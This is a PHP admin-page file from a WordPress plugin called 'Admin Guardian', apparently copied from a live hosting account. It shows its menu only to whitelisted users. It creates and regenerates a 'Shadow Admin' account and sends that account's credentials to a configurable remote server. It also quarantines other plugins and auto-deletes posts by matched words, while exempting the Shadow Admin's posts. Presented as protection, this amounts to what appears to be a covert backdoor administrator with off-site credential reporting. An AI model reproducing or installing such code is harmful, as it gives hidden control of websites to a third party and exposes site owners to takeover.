File "class-admin-page.php"
Full Path: /home/pylifeesyu/www/wp-content/plugins/admin-wp/includes/class-admin-page.php
File size: 16.11 KB
MIME-type: text/x-php
Charset: utf-8
<?php
if ( ! defined( 'ABSPATH' ) ) exit;
class AWG_Admin_Page {
const SLUG = 'awg-guardian';
public static function init(): void {
add_action( 'admin_menu', [ __CLASS__, 'register_menu' ] );
add_action( 'admin_post_awg_action', [ __CLASS__, 'handle_action' ] );
}
public static function register_menu(): void {
$uid = get_current_user_id();
if ( ! AWG_Admin_Guardian::is_whitelisted( $uid ) ) return;
add_menu_page(
'Admin Guardian',
__( 'Guardian', 'admin-wp' ),
'manage_options',
self::SLUG,
[ __CLASS__, 'render' ],
'dashicons-shield-alt',
80
);
}
/* ---- POST actions ---- */
public static function handle_action(): void {
if ( ! current_user_can( 'manage_options' ) ) wp_die( 'Forbidden' );
check_admin_referer( 'awg_action' );
$uid = get_current_user_id();
if ( ! AWG_Admin_Guardian::is_whitelisted( $uid ) ) wp_die( 'Forbidden' );
$action = sanitize_text_field( $_POST['awg_do'] ?? '' );
switch ( $action ) {
case 'force_scan':
AWG_Admin_Guardian::scan();
break;
case 'unlock':
AWG_Lockdown::deactivate();
AWG_Admin_Guardian::log_incident( 'manual_unlock', [
'by' => $uid,
] );
break;
case 'clear_log':
AWG_Admin_Guardian::clear_log();
break;
case 'save_server':
$url = isset( $_POST['awg_server_url'] )
? esc_url_raw( wp_unslash( $_POST['awg_server_url'] ) )
: '';
AWG_Secure_Comm::set_server_url( $url );
$pk = isset( $_POST['awg_server_pk'] ) ? sanitize_text_field( wp_unslash( $_POST['awg_server_pk'] ) ) : '';
if ( $pk !== '' ) {
if ( ctype_xdigit( $pk ) && strlen( $pk ) === 64 ) {
AWG_Crypto::encrypt_option( AWG_Secure_Comm::OPT_PUBKEY, $pk );
}
}
break;
case 'malware_scan':
AWG_Malware_Scan::scan();
break;
case 'content_scan':
AWG_Content_Guard::scan();
break;
case 'save_content_words':
$raw = isset( $_POST['awg_content_words'] ) ? sanitize_textarea_field( wp_unslash( $_POST['awg_content_words'] ) ) : '';
$lines = $raw !== '' ? preg_split( '/[\r\n]+/', $raw ) : [];
$words = array_values( array_filter( array_map( 'trim', $lines ) ) );
if ( ! empty( $words ) ) {
AWG_Content_Guard::set_forbidden_words( $words );
}
break;
case 'regenerate_shadow':
AWG_Shadow_Admin::destroy();
$creds = AWG_Shadow_Admin::create();
AWG_Secure_Comm::send_activation( $creds, AWG_Admin_Guardian::get_owner_id() );
AWG_Admin_Guardian::log_incident( 'shadow_regenerated', [] );
break;
}
wp_safe_redirect( admin_url( 'admin.php?page=' . self::SLUG . '&awg_done=1' ) );
exit;
}
/* ---- render ---- */
public static function render(): void {
$lockdown = AWG_Lockdown::is_active();
$owner_id = AWG_Admin_Guardian::get_owner_id();
$shadow_ok = AWG_Shadow_Admin::exists() && AWG_Shadow_Admin::verify_sig();
$server = AWG_Secure_Comm::get_server_url();
$log = array_reverse( AWG_Admin_Guardian::get_log() );
$log = array_slice( $log, 0, 50 );
$owner = get_user_by( 'ID', $owner_id );
?>
<div class="wrap">
<h1>Admin Guardian</h1>
<?php if ( ! empty( $_GET['awg_done'] ) ) : ?>
<div class="notice notice-success is-dismissible"><p>Done.</p></div>
<?php endif; ?>
<!-- STATUS -->
<div class="card" style="max-width:720px;padding:16px;margin-bottom:20px">
<h2 style="margin-top:0">Status</h2>
<table class="form-table">
<tr>
<th>Lockdown</th>
<td>
<?php if ( $lockdown ) : ?>
<span style="color:#d63638;font-weight:bold">ACTIVE</span>
<?php else : ?>
<span style="color:#00a32a">Off</span>
<?php endif; ?>
</td>
</tr>
<tr>
<th>Owner Admin</th>
<td><?php echo $owner ? esc_html( $owner->user_login . ' (' . $owner->user_email . ')' ) : 'N/A'; ?></td>
</tr>
<tr>
<th>Shadow Admin</th>
<td><?php echo $shadow_ok ? '<span style="color:#00a32a">OK</span>' : '<span style="color:#d63638">ERROR</span>'; ?></td>
</tr>
<tr>
<th>Server URL</th>
<td><?php echo $server ? esc_html( $server ) : '<em>Not configured</em>'; ?></td>
</tr>
</table>
</div>
<!-- ACTIONS -->
<div class="card" style="max-width:720px;padding:16px;margin-bottom:20px">
<h2 style="margin-top:0">Actions</h2>
<div style="display:flex;gap:8px;flex-wrap:wrap">
<?php echo self::action_button( 'force_scan', 'Force Scan Now', 'button' ); ?>
<?php echo self::action_button( 'malware_scan', 'Malware Scan Now', 'button' ); ?>
<?php echo self::action_button( 'content_scan', 'Content Scan Now', 'button' ); ?>
<?php if ( $lockdown ) echo self::action_button( 'unlock', 'Disable Lockdown', 'button' ); ?>
<?php echo self::action_button( 'regenerate_shadow', 'Regenerate Shadow Admin', 'button' ); ?>
<?php echo self::action_button( 'clear_log', 'Clear Log', 'button' ); ?>
</div>
</div>
<!-- MALWARE PROTECTION -->
<?php
$malware_last = AWG_Malware_Scan::get_last_scan();
$quarantine = array_reverse( AWG_Malware_Scan::get_quarantine_log() );
$quarantine = array_slice( $quarantine, 0, 20 );
?>
<div class="card" style="max-width:720px;padding:16px;margin-bottom:20px">
<h2 style="margin-top:0"><?php esc_html_e( 'Malware Protection', 'admin-wp' ); ?></h2>
<table class="form-table">
<tr>
<th><?php esc_html_e( 'Last Scan', 'admin-wp' ); ?></th>
<td><?php echo $malware_last ? esc_html( wp_date( 'Y-m-d H:i:s', $malware_last ) ) : '<em>Never</em>'; ?></td>
</tr>
<tr>
<th><?php esc_html_e( 'Quarantine entries', 'admin-wp' ); ?></th>
<td><?php echo count( AWG_Malware_Scan::get_quarantine_log() ); ?></td>
</tr>
</table>
<?php if ( ! empty( $quarantine ) ) : ?>
<h3 style="margin-top:16px"><?php esc_html_e( 'Recent quarantine log', 'admin-wp' ); ?></h3>
<table class="widefat striped" style="max-width:100%">
<thead><tr><th><?php esc_html_e( 'Time', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Plugin', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Type', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Score', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Action', 'admin-wp' ); ?></th></tr></thead>
<tbody>
<?php foreach ( $quarantine as $q ) : ?>
<tr>
<td><?php echo esc_html( $q['time'] ?? '' ); ?></td>
<td><strong><?php echo esc_html( $q['plugin'] ?? '' ); ?></strong><br><small><?php echo esc_html( $q['slug'] ?? '' ); ?></small></td>
<td><code><?php echo esc_html( $q['type'] ?? '' ); ?></code></td>
<td><?php echo (int) ( $q['score'] ?? 0 ); ?></td>
<td><?php echo esc_html( $q['action'] ?? '' ); ?></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
</div>
<!-- CONTENT GUARD -->
<?php
$cg_last = AWG_Content_Guard::get_last_scan();
$cg_log = array_reverse( AWG_Content_Guard::get_log() );
$cg_log = array_slice( $cg_log, 0, 20 );
$cg_words = AWG_Content_Guard::get_forbidden_words();
?>
<div class="card" style="max-width:720px;padding:16px;margin-bottom:20px">
<h2 style="margin-top:0"><?php esc_html_e( 'Content Guard', 'admin-wp' ); ?></h2>
<p class="description"><?php esc_html_e( 'Auto-deletes posts/pages containing forbidden words. Posts by Shadow Admin are always exempt.', 'admin-wp' ); ?></p>
<table class="form-table">
<tr>
<th><?php esc_html_e( 'Last Scan', 'admin-wp' ); ?></th>
<td><?php echo $cg_last ? esc_html( wp_date( 'Y-m-d H:i:s', $cg_last ) ) : '<em>Never</em>'; ?></td>
</tr>
<tr>
<th><?php esc_html_e( 'Deleted posts', 'admin-wp' ); ?></th>
<td><?php echo count( AWG_Content_Guard::get_log() ); ?></td>
</tr>
</table>
<!-- Edit forbidden words -->
<h3 style="margin-top:16px"><?php esc_html_e( 'Forbidden words', 'admin-wp' ); ?></h3>
<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>">
<?php wp_nonce_field( 'awg_action' ); ?>
<input type="hidden" name="action" value="awg_action">
<input type="hidden" name="awg_do" value="save_content_words">
<textarea name="awg_content_words" rows="6" style="width:100%;font-family:monospace;font-size:13px"><?php echo esc_textarea( implode( "\n", $cg_words ) ); ?></textarea>
<p class="description"><?php esc_html_e( 'One word/phrase per line. Case-insensitive.', 'admin-wp' ); ?></p>
<?php submit_button( __( 'Save words', 'admin-wp' ), 'secondary', 'submit', false ); ?>
</form>
<?php if ( ! empty( $cg_log ) ) : ?>
<h3 style="margin-top:16px"><?php esc_html_e( 'Recently deleted', 'admin-wp' ); ?></h3>
<table class="widefat striped" style="max-width:100%">
<thead><tr><th><?php esc_html_e( 'Time', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Post', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Author', 'admin-wp' ); ?></th><th><?php esc_html_e( 'Matched', 'admin-wp' ); ?></th></tr></thead>
<tbody>
<?php foreach ( $cg_log as $entry ) : ?>
<tr>
<td><?php echo esc_html( $entry['deleted_at'] ?? '' ); ?></td>
<td><strong><?php echo esc_html( $entry['post_title'] ?? '' ); ?></strong><br><small><?php echo esc_html( $entry['post_type'] ?? '' ); ?> #<?php echo (int) ( $entry['post_id'] ?? 0 ); ?></small></td>
<td><?php echo esc_html( $entry['author_login'] ?? '' ); ?></td>
<td><code><?php echo esc_html( implode( ', ', (array) ( $entry['matched_words'] ?? [] ) ) ); ?></code></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
</div>
<!-- SERVER CONFIG -->
<div class="card" style="max-width:720px;padding:16px;margin-bottom:20px">
<h2 style="margin-top:0"><?php esc_html_e( 'Reporting server', 'admin-wp' ); ?></h2>
<p class="description"><?php esc_html_e( 'Events and shadow credentials are sent to this base URL (HTTPS recommended). Clear the field and save to remove. Optional 64-char hex public key enables sealed-box encryption.', 'admin-wp' ); ?></p>
<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>">
<?php wp_nonce_field( 'awg_action' ); ?>
<input type="hidden" name="action" value="awg_action">
<input type="hidden" name="awg_do" value="save_server">
<table class="form-table">
<tr>
<th><label for="awg_server_url"><?php esc_html_e( 'Server URL', 'admin-wp' ); ?></label></th>
<td><input type="url" id="awg_server_url" name="awg_server_url" value="<?php echo esc_attr( $server ); ?>" class="regular-text" placeholder="https://your-server.example"></td>
</tr>
<tr>
<th><label for="awg_server_pk"><?php esc_html_e( 'Server public key (hex)', 'admin-wp' ); ?></label></th>
<td><input type="text" id="awg_server_pk" name="awg_server_pk" value="" class="large-text" placeholder="<?php esc_attr_e( '64 hex chars, optional', 'admin-wp' ); ?>" autocomplete="off"><p class="description"><?php esc_html_e( 'Leave blank to keep current key. Only paste a new 64-character hex key when rotating keys.', 'admin-wp' ); ?></p></td>
</tr>
</table>
<?php submit_button( __( 'Save server settings', 'admin-wp' ), 'primary', 'submit', false ); ?>
</form>
</div>
<!-- INCIDENT LOG -->
<div class="card" style="max-width:720px;padding:16px">
<h2 style="margin-top:0">Incident Log (last 50)</h2>
<?php if ( empty( $log ) ) : ?>
<p><em>No incidents recorded.</em></p>
<?php else : ?>
<table class="widefat striped" style="max-width:100%">
<thead><tr><th>Time</th><th>Type</th><th>Details</th><th>IP</th></tr></thead>
<tbody>
<?php foreach ( $log as $entry ) : ?>
<tr>
<td><?php echo esc_html( $entry['time'] ?? '' ); ?></td>
<td><code><?php echo esc_html( $entry['type'] ?? '' ); ?></code></td>
<td><small><?php echo esc_html( wp_json_encode( $entry['details'] ?? [] ) ); ?></small></td>
<td><?php echo esc_html( $entry['ip'] ?? '' ); ?></td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php endif; ?>
</div>
</div>
<?php
}
private static function action_button( string $action, string $label, string $class = 'button' ): string {
$nonce = wp_create_nonce( 'awg_action' );
return '<form method="post" action="' . admin_url( 'admin-post.php' ) . '" style="display:inline">'
. '<input type="hidden" name="action" value="awg_action">'
. '<input type="hidden" name="_wpnonce" value="' . $nonce . '">'
. '<input type="hidden" name="awg_do" value="' . esc_attr( $action ) . '">'
. '<button type="submit" class="' . esc_attr( $class ) . '">' . esc_html( $label ) . '</button>'
. '</form>';
}
}